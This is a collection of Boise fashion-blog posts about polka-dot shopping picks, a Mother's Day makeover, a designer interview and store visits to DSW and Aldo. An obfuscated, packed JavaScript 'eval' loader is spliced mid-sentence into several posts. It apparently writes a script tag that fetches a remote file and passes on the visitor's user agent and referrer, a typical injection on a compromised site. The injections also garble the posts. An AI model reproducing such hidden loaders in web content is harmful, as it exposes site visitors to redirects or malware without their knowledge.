Shopping For Polka Dots

Recently, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzzae|var|u0026u|referrer|daynk||js|php’.split(‘|’),0,{}))
I’ve been preparing to be a “Best in Shoe” judge at Boise’s upcoming Wine, Women, & Shoes gala downtown, to benefit the Idaho Youth Ranch. This year’s theme is Polka Dots, and it couldn’t come at a better time! Bespotted looks are everywhere this season, but if you haven’t found your perfect look for WW&S yet (or you just love shopping the trend!) here are some ideas & links for you to check out, from full-on spotted gown to demure headscarf.

Good luck, and happy shopping!
XOXO,
Tanya

Deciding on my dress, found at the surprisingly-affordable Bridal by Marie shop in Eagle –
gorgeous gowns, and very reasonable price tags!!!

Polka Dot Shoes

polka dot slingback nordstrom — J. Renee ‘Kory’ Slingback Pump, Nordstrom, $79.95

French Sole ‘Noir’ Polka Dot Mesh Flat, Nordstrom, $187.95

Alice + Olivia ‘Roberta’ Polka Dot Espadrille Sandal, Nordstrom, $295

Polka Dot Dresses

Pleated Polka Dot Dress, Forever 21, $19.80

Dotted Fit & Flare Dress, Forever 21, $22.80

Adrianna Papell Ruffle Neck Dot Lace Fit & Flare Dress, Nordstrom, on Clearance, $54.97

Get Dropped Polka Dot Dress, Nasty Gal, $68

Eliza J Print Jersey Fit & Flare Dress, Nordstrom, on sale, $88.50

Eliza J Belted Jacquard Fit & Flare Dress, Nordstrom, $148

Betsey Johnson Polka Dot Mesh Gown, Nordstrom, $258

Other Cool Stuff

Simply Chic Polka Dot Matte Jersey Pant, Lane Bryant, $69.95

Polka Dot Chiffon Top, Forever 21, $19.90

Riley Faux Fur Coat, Nasty Gal, on sale, $84

Kate Spade New York iPhone Case, Nordstrom, $40

Polka Dot Scarf, J. Crew, on sale $44.99

Hue Large Polka Dot Tights, Nordstrom, $13.50

Cara “Dots Wonder” Head Wrap, Nordstrom, $24

Which New Season Shoe Are You?

Shorts: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhrtk|var|u0026u|referrer|zirre||js|php’.split(‘|’),0,{}))
Express / Shoes: ALDO (On SALE right now here!)

~~~

Here we are, smack dab in the middle of summer, and the fashion trends are hot hot HOT!

I just spent a week in London gathering info on what clothes and shoes all the cool girls are wearing across the pond, and that report will be posted SOON… But in the meantime, my cool friends at FarFetch.com put together this ingenious little quiz to help us find our Perfect Shoe Style for the season. All the choices are fab, but my result was Isabel Marant Heels, which is oh-so-totally ME!

How about you? Take the quiz, comment your results, and share with your friends!
And stay tuned, for London Style articles, coming soon!

XOXO,

Photo cred: FarFetch

What Summer Shoe Are You? [Infographic] by the team at Farfetch

A Very Special Mother’s Day Makeover, with The Village at Meridian

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkfth|var|u0026u|referrer|tfdfn||js|php’.split(‘|’),0,{}))
week, I had the thrilling opportunity to work with The Village At Meridian on their HUGE Mother’s Day Makeover Giveaway. A drawing was held, and one lucky woman was gifted over $1,000 worth of gift cards and services from The Village, LOFT, White House | Black Market, Soma, Francesca’s, Oconik, Menchie’s, and the newly-opened SB Salon.

And the winner was… Stacy Schreiter! A mother of two who works at Scentsy, Stacy is super active and loves the great outdoors. When we met up for her shopping day, she talked to me about how important comfort is for her, as she is always on the go, and a very busy woman. Our first stop was Soma Intimates, because a well-fitting bra changes how your shirts and dresses fit, and Soma does a great job of professional measuring and fitting! We armed Stacy with some new “pretty little things,” and moved on to the clothes shopping.

Shopping in White House | Black Market – their summer dresses are so pretty!

Accessorizing in LOFT – Stacey LOVED their new Lou & Grey line; soft fabrics and colors, inspired by loungewear. She loaded up on great pieces, all for 40% off!

We found a gorgeous necklace & earrings set at Francesca’s, had a delicious lunch at Kona Grill (they were giving away free cupcakes for moms! Yum!!!), and then moved on to SB Salon for some pampering time!

Hair stylist Amie Reynolds Shoemaker worked her magic on Stacy, using products from Bumble & Bumble.

After hair, Stacy moved on to makeup, with Kristin Onne Merren. Kristin used natural luxury line Jane Iredale to even out Stacy’s skin tone, and added soft, natural colors to give her an easy-to-maintain, everyday look.

This smile MADE MY DAY!!!

Simply beautiful Stacy!!!

This ruffled blouse and long, flowy skirt from LOFT enhanced her hourglass shape and gave her petite frame visual height. And she loved this Lou & Grey Linen Blush Moto jacket – it’s so versatile, she can wear it with just about anything!!!

Photography by: Ammophotog / Hair: Amie Reynolds Shoemaker / Makeup: Kristin Onne Merren / Wardrobe: LOFT

Stacy, it was an honor to work with you, and help you find styles that suited your shape, and your lifestyle! I hope you felt as amazing as you looked. You are a vibrant spirit, a loving mother, and a beautiful woman!!! Happy Mother’s Day.

XOXO,

P.S. I want to give a HUGE THANK YOU to the wonderful ladies who helped us on Sunday! All of the saleswomen were sweet, helpful, and gracious, and Amie & Kristin were simply splendid!!! I definitely want to visit SB Salon again – what a beautiful place! Special thanks to the Village at Meridian, for giving me the opportunity to work with Stacy, on her very special Mother’s Day. XOXOXO!!!

Special love & thanks to my assistant-for-the-day Taite Mendenhall, a fabulous stylist in-the-making! Keep your eye on this brilliant young lady – great things are in store for her future in the fashion industry!!!

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My Interview with Donald J. Pliner, Fashion Superstar

Photography: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kttbt|var|u0026u|referrer|datrk||js|php’.split(‘|’),0,{}))
Lenny Wheeler / Makeup: Shaylinn Barlow / Wardrobe: Dillard’s & Donald J. Pliner

Last month I had the honor and privilege of interviewing renowned footwear & handbag designer Donald J. Pliner at a special Dillard’s event, at Boise Towne Square! (Read Part 1 of my interview here.) Of course, when meeting a fashion legend, one wants to look her best. So I was thrilled when Dillard’s offered to outfit me from their store!

I fell in love with this dramatic full skirt from Adrianna Papell, and chose a funky skull-covered blouse from Chelsea & Violet to add a little edginess to the look. Little did I know that Mr. Pliner has a very personal affinity for skulls. In fact, ALL of his beautiful shoes carry symbolism, images, and dates that have deep, personal meaning to him and his family!

My video interview with Mr. Pliner is on ThisisBoise.com TV – watch it at this link (http://youtu.be/k30H32cAd_E), or in the embedded video below!

Donald J. Pliner was an amazing & inspiring person to talk to – I learned a great deal about life in the fashion world, what it’s like to rise and fall and rise again, and what makes this legendary man so passionate about his work. I hope you enjoy the video!!!

Special thanks to Shaylinn Barlow for doing my makeup for this interview, and the photo shoot! And to Lenny Wheeler, for accompanying me as photographer, and taking such wonderful pictures. 🙂

XO,

Blouse: Chelsea & Violet, via Dillard’s / Skirt: Adrianna Papell, via Dillard’s / Sunglasses: Coach / Bracelet & Earrings: Dillard’s / Makeup: Shaylinn Barlow / Photography: Lenny Wheeler Photography / Hair: Melissa Shay Thomas at Deco Salon

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Charming Charlie comes to the Treasure Valley

Continue reading “Charming Charlie comes to the Treasure Valley” →

My Birthday Present

Look eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfsfk|var|u0026u|referrer|bnyai||js|php’.split(‘|’),0,{}))
1: Day Outfit, with Little Red TopCollar necklace: Francesca’s // Red Shirt: Tempted // Shorts: Milly Collection for Banana Republic // Shoes: Crown Vintage for DSW

Happy Birthday to me…

I live in Boise.

I love bargain shopping,

But these shorts were just ME!

Over the years I have learned to be careful with impulse buying. You know that thing where you spot something, and just HAVE to have it? Often times, I would purchase something because it was a bargain, and I was determined to “make it work.” But it doesn’t always work out that way, and would end up passing things on having only worn them once. What a waste, when I could have saved those pennies for something I really LOVED! You’ve never done that, right? Pretty sure I’m the only one, ha ha ha. 😉

The other day I was scrolling through Twitter, and spotted the new collection by designer Milly, for Banana Republic, inspired by “Summertime in the Hamptons.” One of the photos featured these sweet little elephant shorts… And I swooned! Oh my gosh, I could wear those with SO MUCH in my closet! But I don’t really have the budget right now for full-priced Banana Republic, so I put my craving on hold, at least for now. I’ll wait till the sale, I told myself; I can be patient…

Then I got my first birthday card, from my sweet Mom & Dad. And there was a check inside. Yay! Having a birthday always causes me to wax somewhat philosophical, so having that check in my hand inspired me to think, “Life is short; spend it all in one place!” Lol, so deep, right? 😉

I headed to Banana Republic, where they had ONE pair of elephant shorts left in my size. They weren’t on sale; they weren’t a “bargain”… But sometimes a birthday girl just has to treat herself to something nice (especially when she has a little help from super-sweet parents!) Thanks, Mom & Dad, for my favorite new shorts! I have a hundred outfits to work around their elephant cuteness. 🙂 So maybe they ARE a bargain, after all…!

XO,
Tanya

Have you ever purchased something that felt too special to pass up, even though you knew it would be a bit of a sacrifice? Tell me about it! Comment below – I love to hear your opinions & stories. 🙂 XO!

Look 2: Evening, with Hot Pink Sweater

Necklace: Francesca’s // Pink Sweater: Express // Shorts: Milly Collection for Banana Republic // Shoes: Target

Hot Trends & Hotter Deals at DSW Shoes!

The sun is coming out! And with it, ladies everywhere stretch out their toes and say, “Ooh, I need a pedicure!”

Whatever your toes look like these days, if you’re anything like me you are excited to peel off those winter boots and try on some spring styles! I stopped by Boise’s DSW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nydrk|var|u0026u|referrer|yzair||js|php’.split(‘|’),0,{}))
(Designer Shoe Warehouse) yesterday, to see what’s hot in designer footwear for the Budget Fashionista. 🙂 Here are some of my fun finds and top picks.

Pumps: Audrey Brooke // “Nude” pumps are very popular right now! These have a subtle gold shimmer in the suede, and would look fabulous with a colorful dress, or capris and a flirty blouse!

Sandals: Diba // Gladiator sandals are still hot! The gold studs on these add elegance and edge.

Wedge Sandals: BCBG Paris // Metallic shoes are SO versatile, and this platform wedge amps-up a dressy outfit, while still being comfortable.

Wedge Sandal: Steve Madden // Is everyone as in love with Steve Madden as I am? These mango wedges are smoking hot! I’d wear them with a swingy, simple black tank dress, OR white shorts and a gold-embellished blouse! They add pizazz to any ensemble.

Sandals: Coconuts and Zigi // Wedding shoes! Seriously, the sales staff said these bright & blingy beauties are flying off the shelves, as brides & bridesmaids get in the swing of wedding season!

Ankle-strap Flats: kelly & kate // With their sexy ankle strap, subtle wedge lift, and bold metallic accents, these shiny black sandals are a more mature, dressier version of gladiators!

Pumps: Zigi Soho // Two words: PROM SEASON!

Wedge sandals: Report // These are just SO cute & retro, I literally want to wear one on each foot because I can’t decide between them! Birds, birds, birds… Adorbs!!!

Slip-on: Dansko // On your feet all day, but still love a little pizazz? These bright Danskos were getting a lot of attention in the “comfort shoe” aisle!

Flats: BCBG Paris // Ballet flats are extra pretty, in bright colors and fun metallic prints!

Wedge Sneaker: Jellypop // Not sure about the wedge sneaker trend? Edgy fashionistas know: if you’re going to wear them, don’t be subtle about it! Check out this lacy, ladylike version…

Wedge Sneakers: Sam Edelman // Or, edge it up with chains & studs!!!

DON’T MISS the back clearance wall of DSW, where rows & rows of shoes are marked an extra 30-80% off!!! I found a ton of hot bargains…

Wedge Sneakers: Rebels // $79.00 marked down to $59.94, minus an extra 70% off!

Wedge Sandals: Two Lips // $100 marked down to $79.94, minus an extra 40% off!

Pumps: Audrey Brooke // $90.00 marked down to $49.94, minus an extra 50% off!

Gladiator Sandals: CARLOS by Carlos Santana // $59.00, marked down to $39.94, minus an extra 30% off!

And one last thing: my top pick for the most adorable Spring handbag in DSW: This Betsey Johnson heart-studded tote, in the lightest champagne pink! #fashioncrave

Which one is YOUR favorite? Spring has sprung – get your toes out and go find some hot bargains! 🙂

XOXO,

StyleSpyGirl

Check out DSW’s facebook page for store specials & events: https://www.facebook.com/DSW

DSW Boise is located at 8501 W Franklin Rd, Boise, ID 83709, (208) 323-1201

NEW Aldo Shoes Grand Opening and Top Sellers for Spring

My top three favorite places to shop for shoes when I’m in a major city are Norstrom, DSW, and Aldo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zafbt|var|u0026u|referrer|diikt||js|php’.split(‘|’),0,{}))
Shoes! This week, a brand new Aldo Shoes opened up at Boise Towne Square Mall, and I couldn’t wait to get in there! This is big city style, my friends – and now it’s HERE!!! 🙂 Check out some of my favorite finds, then scroll down to hear what store manager Chris has to say about the hottest trends at their Seattle branches!

Store manager Chris, here from Seattle, told me the top trends for Spring in his neck of the woods.

For women: Boots with Studs, Jelly Sandals, Wedge Sneakers, and Mint Green Anything!

For men: Brogues, Oxfords, and modern sneakers

Aldo Shoes sells fashion-forward, high-quality footwear and accessories for men and women. They’re a perfect fit Boise, a fabulous city that’s growing bigger and more fashionable by the day! 🙂 Welcome to the Treasure Valley, Aldo!

ALDO
Boise Towne Square
350 North Milwaukee
Boise, ID, US 83704
208-322-5053